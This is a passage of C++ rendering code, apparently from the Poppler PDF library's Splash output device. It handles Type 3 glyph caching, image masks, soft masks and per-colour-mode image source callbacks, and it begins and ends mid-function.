if ((t3Font->cacheTags[i+j].mru & 0x8000) &&
t3Font->cacheTags[i+j].code == code) {
drawType3Glyph(state, t3Font, &t3Font->cacheTags[i+j],
t3Font->cacheData + (i+j) * t3Font->glyphSize);
return gTrue;
}
}
}
// push a new Type 3 glyph record
t3gs = new T3GlyphStack();
t3gs->next = t3GlyphStack;
t3GlyphStack = t3gs;
t3GlyphStack->code = code;
t3GlyphStack->cache = t3Font;
t3GlyphStack->cacheTag = NULL;
t3GlyphStack->cacheData = NULL;
haveT3Dx = gFalse;
return gFalse;
}
void SplashOutputDev::endType3Char(GfxState *state) {
T3GlyphStack *t3gs;
double *ctm;
if (t3GlyphStack->cacheTag) {
--nestCount;
memcpy(t3GlyphStack->cacheData, bitmap->getDataPtr(),
t3GlyphStack->cache->glyphSize);
delete bitmap;
delete splash;
bitmap = t3GlyphStack->origBitmap;
splash = t3GlyphStack->origSplash;
ctm = state->getCTM();
state->setCTM(ctm[0], ctm[1], ctm[2], ctm[3],
t3GlyphStack->origCTM4, t3GlyphStack->origCTM5);
updateCTM(state, 0, 0, 0, 0, 0, 0);
drawType3Glyph(state, t3GlyphStack->cache,
t3GlyphStack->cacheTag, t3GlyphStack->cacheData);
}
t3gs = t3GlyphStack;
t3GlyphStack = t3gs->next;
delete t3gs;
}
void SplashOutputDev::type3D0(GfxState *state, double wx, double wy) {
haveT3Dx = gTrue;
}
void SplashOutputDev::type3D1(GfxState *state, double wx, double wy,
double llx, double lly, double urx, double ury) {
double *ctm;
T3FontCache *t3Font;
SplashColor color;
double xt, yt, xMin, xMax, yMin, yMax, x1, y1;
int i, j;
// ignore multiple d0/d1 operators
if (haveT3Dx) {
return;
}
haveT3Dx = gTrue;
if (unlikely(t3GlyphStack == NULL)) {
error(errSyntaxWarning, -1, "t3GlyphStack was null in SplashOutputDev::type3D1");
return;
}
if (unlikely(t3GlyphStack->origBitmap != NULL)) {
error(errSyntaxWarning, -1, "t3GlyphStack origBitmap was not null in SplashOutputDev::type3D1");
return;
}
if (unlikely(t3GlyphStack->origSplash != NULL)) {
error(errSyntaxWarning, -1, "t3GlyphStack origSplash was not null in SplashOutputDev::type3D1");
return;
}
t3Font = t3GlyphStack->cache;
// check for a valid bbox
state->transform(0, 0, &xt, &yt);
state->transform(llx, lly, &x1, &y1);
xMin = xMax = x1;
yMin = yMax = y1;
state->transform(llx, ury, &x1, &y1);
if (x1 < xMin) {
xMin = x1;
} else if (x1 > xMax) {
xMax = x1;
}
if (y1 < yMin) {
yMin = y1;
} else if (y1 > yMax) {
yMax = y1;
}
state->transform(urx, lly, &x1, &y1);
if (x1 < xMin) {
xMin = x1;
} else if (x1 > xMax) {
xMax = x1;
}
if (y1 < yMin) {
yMin = y1;
} else if (y1 > yMax) {
yMax = y1;
}
state->transform(urx, ury, &x1, &y1);
if (x1 < xMin) {
xMin = x1;
} else if (x1 > xMax) {
xMax = x1;
}
if (y1 < yMin) {
yMin = y1;
} else if (y1 > yMax) {
yMax = y1;
}
if (xMin - xt < t3Font->glyphX ||
yMin - yt < t3Font->glyphY ||
xMax - xt > t3Font->glyphX + t3Font->glyphW ||
yMax - yt > t3Font->glyphY + t3Font->glyphH) {
if (t3Font->validBBox) {
error(errSyntaxWarning, -1, "Bad bounding box in Type 3 glyph");
}
return;
}
if (t3Font->cacheTags == NULL)
return;
// allocate a cache entry
i = (t3GlyphStack->code & (t3Font->cacheSets - 1)) * t3Font->cacheAssoc;
for (j = 0; j < t3Font->cacheAssoc; ++j) {
if ((t3Font->cacheTags[i+j].mru & 0x7fff) == t3Font->cacheAssoc - 1) {
t3Font->cacheTags[i+j].mru = 0x8000;
t3Font->cacheTags[i+j].code = t3GlyphStack->code;
t3GlyphStack->cacheTag = &t3Font->cacheTags[i+j];
t3GlyphStack->cacheData = t3Font->cacheData + (i+j) * t3Font->glyphSize;
} else {
++t3Font->cacheTags[i+j].mru;
}
}
// save state
t3GlyphStack->origBitmap = bitmap;
t3GlyphStack->origSplash = splash;
ctm = state->getCTM();
t3GlyphStack->origCTM4 = ctm[4];
t3GlyphStack->origCTM5 = ctm[5];
// create the temporary bitmap
if (colorMode == splashModeMono1) {
bitmap = new SplashBitmap(t3Font->glyphW, t3Font->glyphH, 1,
splashModeMono1, gFalse);
splash = new Splash(bitmap, gFalse,
t3GlyphStack->origSplash->getScreen());
color[0] = 0;
splash->clear(color);
color[0] = 0xff;
} else {
bitmap = new SplashBitmap(t3Font->glyphW, t3Font->glyphH, 1,
splashModeMono8, gFalse);
splash = new Splash(bitmap, vectorAntialias,
t3GlyphStack->origSplash->getScreen());
color[0] = 0x00;
splash->clear(color);
color[0] = 0xff;
}
splash->setMinLineWidth(globalParams->getMinLineWidth());
splash->setThinLineMode(splashThinLineDefault);
splash->setFillPattern(new SplashSolidColor(color));
splash->setStrokePattern(new SplashSolidColor(color));
//~ this should copy other state from t3GlyphStack->origSplash?
state->setCTM(ctm[0], ctm[1], ctm[2], ctm[3],
-t3Font->glyphX, -t3Font->glyphY);
updateCTM(state, 0, 0, 0, 0, 0, 0);
++nestCount;
}
void SplashOutputDev::drawType3Glyph(GfxState *state, T3FontCache *t3Font,
T3FontCacheTag * /*tag*/, Guchar *data) {
SplashGlyphBitmap glyph;
setOverprintMask(state->getFillColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), state->getFillColor());
glyph.x = -t3Font->glyphX;
glyph.y = -t3Font->glyphY;
glyph.w = t3Font->glyphW;
glyph.h = t3Font->glyphH;
glyph.aa = colorMode != splashModeMono1;
glyph.data = data;
glyph.freeData = gFalse;
splash->fillGlyph(0, 0, &glyph);
}
void SplashOutputDev::beginTextObject(GfxState *state) {
}
void SplashOutputDev::endTextObject(GfxState *state) {
if (textClipPath) {
splash->clipToPath(textClipPath, gFalse);
delete textClipPath;
textClipPath = NULL;
}
}
struct SplashOutImageMaskData {
ImageStream *imgStr;
GBool invert;
int width, height, y;
};
GBool SplashOutputDev::imageMaskSrc(void *data, SplashColorPtr line) {
SplashOutImageMaskData *imgMaskData = (SplashOutImageMaskData *)data;
Guchar *p;
SplashColorPtr q;
int x;
if (imgMaskData->y == imgMaskData->height) {
return gFalse;
}
if (!(p = imgMaskData->imgStr->getLine())) {
return gFalse;
}
for (x = 0, q = line; x < imgMaskData->width; ++x) {
*q++ = *p++ ^ imgMaskData->invert;
}
++imgMaskData->y;
return gTrue;
}
void SplashOutputDev::drawImageMask(GfxState *state, Object *ref, Stream *str,
int width, int height, GBool invert,
GBool interpolate, GBool inlineImg) {
double *ctm;
SplashCoord mat[6];
SplashOutImageMaskData imgMaskData;
if (state->getFillColorSpace()->isNonMarking()) {
return;
}
setOverprintMask(state->getFillColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), state->getFillColor());
ctm = state->getCTM();
for (int i = 0; i < 6; ++i) {
if (!isfinite(ctm[i])) return;
}
mat[0] = ctm[0];
mat[1] = ctm[1];
mat[2] = -ctm[2];
mat[3] = -ctm[3];
mat[4] = ctm[2] + ctm[4];
mat[5] = ctm[3] + ctm[5];
imgMaskData.imgStr = new ImageStream(str, width, 1, 1);
imgMaskData.imgStr->reset();
imgMaskData.invert = invert ? 0 : 1;
imgMaskData.width = width;
imgMaskData.height = height;
imgMaskData.y = 0;
splash->fillImageMask(&imageMaskSrc, &imgMaskData, width, height, mat, t3GlyphStack != NULL);
if (inlineImg) {
while (imgMaskData.y < height) {
imgMaskData.imgStr->getLine();
++imgMaskData.y;
}
}
delete imgMaskData.imgStr;
str->close();
}
void SplashOutputDev::setSoftMaskFromImageMask(GfxState *state,
Object *ref, Stream *str,
int width, int height,
GBool invert,
GBool inlineImg, double *baseMatrix) {
double *ctm;
SplashCoord mat[6];
SplashOutImageMaskData imgMaskData;
Splash *maskSplash;
SplashColor maskColor;
double bbox[4] = {0, 0, 1, 1}; // default;
if (state->getFillColorSpace()->isNonMarking()) {
return;
}
ctm = state->getCTM();
for (int i = 0; i < 6; ++i) {
if (!isfinite(ctm[i])) return;
}
beginTransparencyGroup(state, bbox, NULL, gFalse, gFalse, gFalse);
baseMatrix[4] -= transpGroupStack->tx;
baseMatrix[5] -= transpGroupStack->ty;
ctm = state->getCTM();
mat[0] = ctm[0];
mat[1] = ctm[1];
mat[2] = -ctm[2];
mat[3] = -ctm[3];
mat[4] = ctm[2] + ctm[4];
mat[5] = ctm[3] + ctm[5];
imgMaskData.imgStr = new ImageStream(str, width, 1, 1);
imgMaskData.imgStr->reset();
imgMaskData.invert = invert ? 0 : 1;
imgMaskData.width = width;
imgMaskData.height = height;
imgMaskData.y = 0;
maskBitmap = new SplashBitmap(bitmap->getWidth(), bitmap->getHeight(), 1, splashModeMono8, gFalse);
maskSplash = new Splash(maskBitmap, vectorAntialias);
maskColor[0] = 0;
maskSplash->clear(maskColor);
maskColor[0] = 0xff;
maskSplash->setFillPattern(new SplashSolidColor(maskColor));
maskSplash->fillImageMask(&imageMaskSrc, &imgMaskData, width, height, mat, t3GlyphStack != NULL);
delete maskSplash;
delete imgMaskData.imgStr;
str->close();
}
void SplashOutputDev::unsetSoftMaskFromImageMask(GfxState *state, double *baseMatrix) {
double bbox[4] = {0,0,1,1}; // dummy
/* transfer mask to alpha channel! */
// memcpy(maskBitmap->getAlphaPtr(), maskBitmap->getDataPtr(), bitmap->getRowSize() * bitmap->getHeight());
// memset(maskBitmap->getDataPtr(), 0, bitmap->getRowSize() * bitmap->getHeight());
Guchar *dest = bitmap->getAlphaPtr();
Guchar *src = maskBitmap->getDataPtr();
for (int c= 0; c < maskBitmap->getRowSize() * maskBitmap->getHeight(); c++) {
dest[c] = src[c];
}
delete maskBitmap;
maskBitmap = NULL;
endTransparencyGroup(state);
baseMatrix[4] += transpGroupStack->tx;
baseMatrix[5] += transpGroupStack->ty;
paintTransparencyGroup(state, bbox);
}
struct SplashOutImageData {
ImageStream *imgStr;
GfxImageColorMap *colorMap;
SplashColorPtr lookup;
int *maskColors;
SplashColorMode colorMode;
int width, height, y;
};
GBool SplashOutputDev::imageSrc(void *data, SplashColorPtr colorLine,
Guchar * /*alphaLine*/) {
SplashOutImageData *imgData = (SplashOutImageData *)data;
Guchar *p;
SplashColorPtr q, col;
GfxRGB rgb;
GfxGray gray;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
int nComps, x;
if (imgData->y == imgData->height) {
return gFalse;
}
if (!(p = imgData->imgStr->getLine())) {
return gFalse;
}
nComps = imgData->colorMap->getNumPixelComps();
if (imgData->lookup) {
switch (imgData->colorMode) {
case splashModeMono1:
case splashModeMono8:
for (x = 0, q = colorLine; x < imgData->width; ++x, ++p) {
*q++ = imgData->lookup[*p];
}
break;
case splashModeRGB8:
case splashModeBGR8:
for (x = 0, q = colorLine; x < imgData->width; ++x, ++p) {
col = &imgData->lookup[3 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
}
break;
case splashModeXBGR8:
for (x = 0, q = colorLine; x < imgData->width; ++x, ++p) {
col = &imgData->lookup[4 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
*q++ = col[3];
}
break;
#if SPLASH_CMYK
case splashModeCMYK8:
for (x = 0, q = colorLine; x < imgData->width; ++x, ++p) {
col = &imgData->lookup[4 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
*q++ = col[3];
}
break;
case splashModeDeviceN8:
for (x = 0, q = colorLine; x < imgData->width; ++x, ++p) {
col = &imgData->lookup[(SPOT_NCOMPS+4) * *p];
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
*q++ = col[cp];
}
break;
#endif
}
} else {
switch (imgData->colorMode) {
case splashModeMono1:
case splashModeMono8:
for (x = 0, q = colorLine; x < imgData->width; ++x, p += nComps) {
imgData->colorMap->getGray(p, &gray);
*q++ = colToByte(gray);
}
break;
case splashModeRGB8:
case splashModeBGR8:
if (imgData->colorMap->useRGBLine()) {
imgData->colorMap->getRGBLine(p, (Guchar *) colorLine, imgData->width);
} else {
for (x = 0, q = colorLine; x < imgData->width; ++x, p += nComps) {
imgData->colorMap->getRGB(p, &rgb);
*q++ = colToByte(rgb.r);
*q++ = colToByte(rgb.g);
*q++ = colToByte(rgb.b);
}
}
break;
case splashModeXBGR8:
if (imgData->colorMap->useRGBLine()) {
imgData->colorMap->getRGBXLine(p, (Guchar *) colorLine, imgData->width);
} else {
for (x = 0, q = colorLine; x < imgData->width; ++x, p += nComps) {
imgData->colorMap->getRGB(p, &rgb);
*q++ = colToByte(rgb.r);
*q++ = colToByte(rgb.g);
*q++ = colToByte(rgb.b);
*q++ = 255;
}
}
break;
#if SPLASH_CMYK
case splashModeCMYK8:
if (imgData->colorMap->useCMYKLine()) {
imgData->colorMap->getCMYKLine(p, (Guchar *) colorLine, imgData->width);
} else {
for (x = 0, q = colorLine; x < imgData->width; ++x, p += nComps) {
imgData->colorMap->getCMYK(p, &cmyk);
*q++ = colToByte(cmyk.c);
*q++ = colToByte(cmyk.m);
*q++ = colToByte(cmyk.y);
*q++ = colToByte(cmyk.k);
}
}
break;
case splashModeDeviceN8:
if (imgData->colorMap->useDeviceNLine()) {
imgData->colorMap->getDeviceNLine(p, (Guchar *) colorLine, imgData->width);
} else {
for (x = 0, q = colorLine; x < imgData->width; ++x, p += nComps) {
imgData->colorMap->getDeviceN(p, &deviceN);
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
*q++ = colToByte(deviceN.c[cp]);
}
}
break;
#endif
}
}
++imgData->y;
return gTrue;
}
GBool SplashOutputDev::alphaImageSrc(void *data, SplashColorPtr colorLine,
Guchar *alphaLine) {
SplashOutImageData *imgData = (SplashOutImageData *)data;
Guchar *p, *aq;
SplashColorPtr q, col;
GfxRGB rgb;
GfxGray gray;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
Guchar alpha;
int nComps, x, i;
if (imgData->y == imgData->height) {
return gFalse;
}
if (!(p = imgData->imgStr->getLine())) {
return gFalse;
}
nComps = imgData->colorMap->getNumPixelComps();
for (x = 0, q = colorLine, aq = alphaLine;
x < imgData->width;
++x, p += nComps) {
alpha = 0;
for (i = 0; i < nComps; ++i) {
if (p[i] < imgData->maskColors[2*i] ||
p[i] > imgData->maskColors[2*i+1]) {
alpha = 0xff;
break;
}
}
if (imgData->lookup) {
switch (imgData->colorMode) {
case splashModeMono1:
case splashModeMono8:
*q++ = imgData->lookup[*p];
break;
case splashModeRGB8:
case splashModeBGR8:
col = &imgData->lookup[3 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
break;
case splashModeXBGR8:
col = &imgData->lookup[4 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
*q++ = 255;
break;
#if SPLASH_CMYK
case splashModeCMYK8:
col = &imgData->lookup[4 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
*q++ = col[3];
break;
case splashModeDeviceN8:
col = &imgData->lookup[(SPOT_NCOMPS+4) * *p];
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
*q++ = col[cp];
break;
#endif
}
*aq++ = alpha;
} else {
switch (imgData->colorMode) {
case splashModeMono1:
case splashModeMono8:
imgData->colorMap->getGray(p, &gray);
*q++ = colToByte(gray);
break;
case splashModeXBGR8:
case splashModeRGB8:
case splashModeBGR8:
imgData->colorMap->getRGB(p, &rgb);
*q++ = colToByte(rgb.r);
*q++ = colToByte(rgb.g);
*q++ = colToByte(rgb.b);
if (imgData->colorMode == splashModeXBGR8) *q++ = 255;
break;
#if SPLASH_CMYK
case splashModeCMYK8:
imgData->colorMap->getCMYK(p, &cmyk);
*q++ = colToByte(cmyk.c);
*q++ = colToByte(cmyk.m);
*q++ = colToByte(cmyk.y);
*q++ = colToByte(cmyk.k);
break;
case splashModeDeviceN8:
imgData->colorMap->getDeviceN(p, &deviceN);
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
*q++ = colToByte(deviceN.c[cp]);
break;
#endif
}
*aq++ = alpha;
}
}
++imgData->y;
return gTrue;
}
struct TilingSplashOutBitmap {
SplashBitmap *bitmap;
SplashPattern *pattern;
SplashColorMode colorMode;
int paintType;
int repeatX;
int repeatY;
int y;
};
GBool SplashOutputDev::tilingBitmapSrc(void *data, SplashColorPtr colorLine,
Guchar *alphaLine) {
TilingSplashOutBitmap *imgData = (TilingSplashOutBitmap *)data;
if (imgData->y == imgData->bitmap->getHeight()) {
imgData->repeatY--;
if (imgData->repeatY == 0)
return gFalse;
imgData->y = 0;
}
if (imgData->paintType == 1) {
const SplashColorMode cMode = imgData->bitmap->getMode();
SplashColorPtr q = colorLine;
// For splashModeBGR8 and splashModeXBGR8 we need to use getPixel
// for the others we can use raw access
if (cMode == splashModeBGR8 || cMode == splashModeXBGR8) {
for (int m = 0; m < imgData->repeatX; m++) {
for (int x = 0; x < imgData->bitmap->getWidth(); x++) {
imgData->bitmap->getPixel(x, imgData->y, q);
q += splashColorModeNComps[cMode];
}
}
} else {
const int n = imgData->bitmap->getRowSize();
SplashColorPtr p;
for (int m = 0; m < imgData->repeatX; m++) {
p = imgData->bitmap->getDataPtr() + imgData->y * imgData->bitmap->getRowSize();
for (int x = 0; x < n; ++x) {
*q++ = *p++;
}
}
}
if (alphaLine != NULL) {
SplashColorPtr aq = alphaLine;
SplashColorPtr p;
const int n = imgData->bitmap->getWidth() - 1;
for (int m = 0; m < imgData->repeatX; m++) {
p = imgData->bitmap->getAlphaPtr() + imgData->y * imgData->bitmap->getWidth();
for (int x = 0; x < n; ++x) {
*aq++ = *p++;
}
// This is a hack, because of how Splash antialias works if we overwrite the
// last alpha pixel of the tile most/all of the files look much better
*aq++ = (n == 0) ? *p : *(p - 1);
}
}
} else {
SplashColor col, pat;
SplashColorPtr dest = colorLine;
for (int m = 0; m < imgData->repeatX; m++) {
for (int x = 0; x < imgData->bitmap->getWidth(); x++) {
imgData->bitmap->getPixel(x, imgData->y, col);
imgData->pattern->getColor(x, imgData->y, pat);
for (int i = 0; i < splashColorModeNComps[imgData->colorMode]; ++i) {
#if SPLASH_CMYK
if (imgData->colorMode == splashModeCMYK8 || imgData->colorMode == splashModeDeviceN8)
dest[i] = div255(pat[i] * (255 - col[0]));
else
#endif
dest[i] = 255 - div255((255 - pat[i]) * (255 - col[0]));
}
dest += splashColorModeNComps[imgData->colorMode];
}
}
if (alphaLine != NULL) {
const int y = (imgData->y == imgData->bitmap->getHeight() - 1 && imgData->y > 50) ? imgData->y - 1 : imgData->y;
SplashColorPtr aq = alphaLine;
SplashColorPtr p;
const int n = imgData->bitmap->getWidth();
for (int m = 0; m < imgData->repeatX; m++) {
p = imgData->bitmap->getAlphaPtr() + y * imgData->bitmap->getWidth();
for (int x = 0; x < n; ++x) {
*aq++ = *p++;
}
}
}
}
++imgData->y;
return gTrue;
}
void SplashOutputDev::drawImage(GfxState *state, Object *ref, Stream *str,
int width, int height,
GfxImageColorMap *colorMap,
GBool interpolate,
int *maskColors, GBool inlineImg) {
double *ctm;
SplashCoord mat[6];
SplashOutImageData imgData;
SplashColorMode srcMode;
SplashImageSource src;
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GBool grayIndexed = gFalse;
GfxColor deviceN;
#endif
Guchar pix;
int n, i;
ctm = state->getCTM();
for (i = 0; i < 6; ++i) {
if (!isfinite(ctm[i])) return;
}
mat[0] = ctm[0];
mat[1] = ctm[1];
mat[2] = -ctm[2];
mat[3] = -ctm[3];
mat[4] = ctm[2] + ctm[4];
mat[5] = ctm[3] + ctm[5];
imgData.imgStr = new ImageStream(str, width,
colorMap->getNumPixelComps(),
colorMap->getBits());
imgData.imgStr->reset();
imgData.colorMap = colorMap;
imgData.maskColors = maskColors;
imgData.colorMode = colorMode;
imgData.width = width;
imgData.height = height;
imgData.y = 0;
// special case for one-channel (monochrome/gray/separation) images:
// build a lookup table here
imgData.lookup = NULL;
if (colorMap->getNumPixelComps() == 1) {
n = 1 << colorMap->getBits();
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
imgData.lookup = (SplashColorPtr)gmalloc(n);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getGray(&pix, &gray);
imgData.lookup[i] = colToByte(gray);
}
break;
case splashModeRGB8:
case splashModeBGR8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getRGB(&pix, &rgb);
imgData.lookup[3*i] = colToByte(rgb.r);
imgData.lookup[3*i+1] = colToByte(rgb.g);
imgData.lookup[3*i+2] = colToByte(rgb.b);
}
break;
case splashModeXBGR8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getRGB(&pix, &rgb);
imgData.lookup[4*i] = colToByte(rgb.r);
imgData.lookup[4*i+1] = colToByte(rgb.g);
imgData.lookup[4*i+2] = colToByte(rgb.b);
imgData.lookup[4*i+3] = 255;
}
break;
#if SPLASH_CMYK
case splashModeCMYK8:
grayIndexed = colorMap->getColorSpace()->getMode() != csDeviceGray;
imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getCMYK(&pix, &cmyk);
if (cmyk.c != 0 || cmyk.m != 0 || cmyk.y != 0) {
grayIndexed = gFalse;
}
imgData.lookup[4*i] = colToByte(cmyk.c);
imgData.lookup[4*i+1] = colToByte(cmyk.m);
imgData.lookup[4*i+2] = colToByte(cmyk.y);
imgData.lookup[4*i+3] = colToByte(cmyk.k);
}
break;
case splashModeDeviceN8:
colorMap->getColorSpace()->createMapping(bitmap->getSeparationList(), SPOT_NCOMPS);
grayIndexed = colorMap->getColorSpace()->getMode() != csDeviceGray;
imgData.lookup = (SplashColorPtr)gmallocn(n, SPOT_NCOMPS+4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getCMYK(&pix, &cmyk);
if (cmyk.c != 0 || cmyk.m != 0 || cmyk.y != 0) {
grayIndexed = gFalse;
}
colorMap->getDeviceN(&pix, &deviceN);
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
imgData.lookup[(SPOT_NCOMPS+4)*i +cp] = colToByte(deviceN.c[cp]);
}
break;
#endif
}
}
#if SPLASH_CMYK
setOverprintMask(colorMap->getColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), NULL, grayIndexed);
#else
setOverprintMask(colorMap->getColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), NULL);
#endif
if (colorMode == splashModeMono1) {
srcMode = splashModeMono8;
} else {
srcMode = colorMode;
}
src = maskColors ? &alphaImageSrc : &imageSrc;
splash->drawImage(src, &imgData, srcMode, maskColors ? gTrue : gFalse,
width, height, mat, interpolate);
if (inlineImg) {
while (imgData.y < height) {
imgData.imgStr->getLine();
++imgData.y;
}
}
gfree(imgData.lookup);
delete imgData.imgStr;
str->close();
}
struct SplashOutMaskedImageData {
ImageStream *imgStr;
GfxImageColorMap *colorMap;
SplashBitmap *mask;
SplashColorPtr lookup;
SplashColorMode colorMode;
int width, height, y;
};
GBool SplashOutputDev::maskedImageSrc(void *data, SplashColorPtr colorLine,
Guchar *alphaLine) {
SplashOutMaskedImageData *imgData = (SplashOutMaskedImageData *)data;
Guchar *p, *aq;
SplashColorPtr q, col;
GfxRGB rgb;
GfxGray gray;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
Guchar alpha;
Guchar *maskPtr;
int maskBit;
int nComps, x;
if (imgData->y == imgData->height) {
return gFalse;
}
if (!(p = imgData->imgStr->getLine())) {
return gFalse;
}
nComps = imgData->colorMap->getNumPixelComps();
maskPtr = imgData->mask->getDataPtr() +
imgData->y * imgData->mask->getRowSize();
maskBit = 0x80;
for (x = 0, q = colorLine, aq = alphaLine;
x < imgData->width;
++x, p += nComps) {
alpha = (*maskPtr & maskBit) ? 0xff : 0x00;
if (!(maskBit >>= 1)) {
++maskPtr;
maskBit = 0x80;
}
if (imgData->lookup) {
switch (imgData->colorMode) {
case splashModeMono1:
case splashModeMono8:
*q++ = imgData->lookup[*p];
break;
case splashModeRGB8:
case splashModeBGR8:
col = &imgData->lookup[3 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
break;
case splashModeXBGR8:
col = &imgData->lookup[4 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
*q++ = 255;
break;
#if SPLASH_CMYK
case splashModeCMYK8:
col = &imgData->lookup[4 * *p];
*q++ = col[0];
*q++ = col[1];
*q++ = col[2];
*q++ = col[3];
break;
case splashModeDeviceN8:
col = &imgData->lookup[(SPOT_NCOMPS+4) * *p];
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
*q++ = col[cp];
break;
#endif
}
*aq++ = alpha;
} else {
switch (imgData->colorMode) {
case splashModeMono1:
case splashModeMono8:
imgData->colorMap->getGray(p, &gray);
*q++ = colToByte(gray);
break;
case splashModeXBGR8:
case splashModeRGB8:
case splashModeBGR8:
imgData->colorMap->getRGB(p, &rgb);
*q++ = colToByte(rgb.r);
*q++ = colToByte(rgb.g);
*q++ = colToByte(rgb.b);
if (imgData->colorMode == splashModeXBGR8) *q++ = 255;
break;
#if SPLASH_CMYK
case splashModeCMYK8:
imgData->colorMap->getCMYK(p, &cmyk);
*q++ = colToByte(cmyk.c);
*q++ = colToByte(cmyk.m);
*q++ = colToByte(cmyk.y);
*q++ = colToByte(cmyk.k);
break;
case splashModeDeviceN8:
imgData->colorMap->getDeviceN(p, &deviceN);
for (int cp = 0; cp < SPOT_NCOMPS+4; cp++)
*q++ = colToByte(deviceN.c[cp]);
break;
#endif
}
*aq++ = alpha;
}
}
++imgData->y;
return gTrue;
}
void SplashOutputDev::drawMaskedImage(GfxState *state, Object *ref,
Stream *str, int width, int height,
GfxImageColorMap *colorMap,
GBool interpolate,
Stream *maskStr, int maskWidth,
int maskHeight, GBool maskInvert,
GBool maskInterpolate) {
GfxImageColorMap *maskColorMap;
Object maskDecode, decodeLow, decodeHigh;
double *ctm;
SplashCoord mat[6];
SplashOutMaskedImageData imgData;
SplashOutImageMaskData imgMaskData;
SplashColorMode srcMode;
SplashBitmap *maskBitmap;
Splash *maskSplash;
SplashColor maskColor;
GfxGray gray;
GfxRGB rgb;
#if SPLASH_CMYK
GfxCMYK cmyk;
GfxColor deviceN;
#endif
Guchar pix;
int n, i;
#if SPLASH_CMYK
colorMap->getColorSpace()->createMapping(bitmap->getSeparationList(), SPOT_NCOMPS);
#endif
setOverprintMask(colorMap->getColorSpace(), state->getFillOverprint(),
state->getOverprintMode(), NULL);
// If the mask is higher resolution than the image, use
// drawSoftMaskedImage() instead.
if (maskWidth > width || maskHeight > height) {
decodeLow.initInt(maskInvert ? 0 : 1);
decodeHigh.initInt(maskInvert ? 1 : 0);
maskDecode.initArray((xref) ? xref : doc->getXRef());
maskDecode.arrayAdd(&decodeLow);
maskDecode.arrayAdd(&decodeHigh);
maskColorMap = new GfxImageColorMap(1, &maskDecode,
new GfxDeviceGrayColorSpace());
maskDecode.free();
drawSoftMaskedImage(state, ref, str, width, height, colorMap, interpolate,
maskStr, maskWidth, maskHeight, maskColorMap, maskInterpolate);
delete maskColorMap;
} else {
//----- scale the mask image to the same size as the source image
mat[0] = (SplashCoord)width;
mat[1] = 0;
mat[2] = 0;
mat[3] = (SplashCoord)height;
mat[4] = 0;
mat[5] = 0;
imgMaskData.imgStr = new ImageStream(maskStr, maskWidth, 1, 1);
imgMaskData.imgStr->reset();
imgMaskData.invert = maskInvert ? 0 : 1;
imgMaskData.width = maskWidth;
imgMaskData.height = maskHeight;
imgMaskData.y = 0;
maskBitmap = new SplashBitmap(width, height, 1, splashModeMono1, gFalse);
maskSplash = new Splash(maskBitmap, gFalse);
maskColor[0] = 0;
maskSplash->clear(maskColor);
maskColor[0] = 0xff;
maskSplash->setFillPattern(new SplashSolidColor(maskColor));
maskSplash->fillImageMask(&imageMaskSrc, &imgMaskData,
maskWidth, maskHeight, mat, gFalse);
delete imgMaskData.imgStr;
maskStr->close();
delete maskSplash;
//----- draw the source image
ctm = state->getCTM();
for (i = 0; i < 6; ++i) {
if (!isfinite(ctm[i])) {
delete maskBitmap;
return;
}
}
mat[0] = ctm[0];
mat[1] = ctm[1];
mat[2] = -ctm[2];
mat[3] = -ctm[3];
mat[4] = ctm[2] + ctm[4];
mat[5] = ctm[3] + ctm[5];
imgData.imgStr = new ImageStream(str, width,
colorMap->getNumPixelComps(),
colorMap->getBits());
imgData.imgStr->reset();
imgData.colorMap = colorMap;
imgData.mask = maskBitmap;
imgData.colorMode = colorMode;
imgData.width = width;
imgData.height = height;
imgData.y = 0;
// special case for one-channel (monochrome/gray/separation) images:
// build a lookup table here
imgData.lookup = NULL;
if (colorMap->getNumPixelComps() == 1) {
n = 1 << colorMap->getBits();
switch (colorMode) {
case splashModeMono1:
case splashModeMono8:
imgData.lookup = (SplashColorPtr)gmalloc(n);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getGray(&pix, &gray);
imgData.lookup[i] = colToByte(gray);
}
break;
case splashModeRGB8:
case splashModeBGR8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getRGB(&pix, &rgb);
imgData.lookup[3*i] = colToByte(rgb.r);
imgData.lookup[3*i+1] = colToByte(rgb.g);
imgData.lookup[3*i+2] = colToByte(rgb.b);
}
break;
case splashModeXBGR8:
imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
for (i = 0; i < n; ++i) {
pix = (Guchar)i;
colorMap->getRGB(&pix, &rgb);
imgData.lookup[4*i] = colToByte(rgb.r);
